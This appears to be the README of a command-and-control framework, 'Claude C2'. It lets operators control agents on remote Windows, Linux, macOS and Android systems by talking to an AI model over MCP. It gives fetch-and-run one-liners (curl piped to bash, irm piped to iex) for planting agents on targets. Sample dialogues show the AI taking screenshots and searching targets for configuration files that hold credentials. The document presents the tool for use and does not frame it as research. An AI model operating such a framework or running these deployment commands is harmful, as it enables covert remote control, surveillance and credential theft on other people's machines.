Natural language control of remote systems through Claude AI and Model Context Protocol
Overview · Architecture · Installation · Deployment · Documentation
Claude C2 is a command and control framework that integrates with Anthropic's Model Context Protocol (MCP), enabling operators to manage remote systems through natural language conversations with Claude AI.
Rather than memorizing command syntax across different operating systems, operators communicate intent in plain English. The AI interprets requests, selects appropriate targets, executes the necessary commands, and returns formatted results.
Operator: "Show me all connected systems"
Claude: [Queries client manager, returns formatted list with OS, hostname, IP, user context]
Operator: "Capture the screen on the Windows workstation"
Claude: [Identifies target, executes screenshot, saves to server, confirms completion]
Operator: "Search for configuration files containing credentials"
Claude: [Runs recursive search with appropriate OS commands, returns matching paths]
| Feature | Description |
|---|---|
| Natural Language Interface | Communicate with targets through conversational English |
| Cross-Platform | Unified control across Windows, Linux, macOS, and Android |
| Adaptive Execution | AI automatically translates intent to OS-specific commands |
| Minimal Footprint | Agents use native scripting tools with no additional binaries |
| Encrypted Transport | TLS-secured WebSocket connections with OAuth 2.0 authentication |
| Auto-Recovery | Agents automatically reconnect on connection loss |

Communication Flow:
- Operator interacts with Claude AI through claude.ai interface
- Claude connects to C2 server via MCP (Model Context Protocol) over SSE
- Server maintains persistent WebSocket connections to all deployed agents
- Commands are routed to appropriate agents based on operator intent
- Agents execute commands using native OS tools and return results
- Claude formats and presents results to operator
- Node.js 18 or higher
- Valid SSL certificate (Let's Encrypt recommended)
- Domain name pointing to server
- Network access on ports 443, 3101, 3102

|---|---|
| Server URL | https://your-domain.com/mcp/sse |
| Authentication | OAuth 2.0 |
| Client ID | Value from .env |
| Client Secret | Value from .env |
Deploy agents to target systems using platform-specific one-liners:
| Platform | Deployment Command |
|---|---|
| Windows |
irm https://YOUR_DOMAIN/agent/windows | iex |
| Linux |
curl -s https://YOUR_DOMAIN/agent/linux | bash |
| macOS |
curl -s https://YOUR_DOMAIN/agent/macos | bash |
| Android |
curl -s https://YOUR_DOMAIN/agent/termux | bash |
Agents operate in memory without persistence by default. Connection resilience is built-in with automatic reconnection on network interruption.
| Request | Action |
|---|---|
"List all connected clients" |
Display all active agents with system information |
"Execute whoami on target" |
Run command and return output |
"Take a screenshot" |
Capture display and save to server |
"Find all PDF documents" |
Recursive filesystem search |
"Show network configuration" |
Execute ipconfig/ifconfig based on OS |
"List running processes" |
Display process list with details |
"Open URL on Android device" |
Launch browser with specified URL |
When a single agent is connected, Claude automatically selects it. With multiple agents, specify the target by name or identifier.
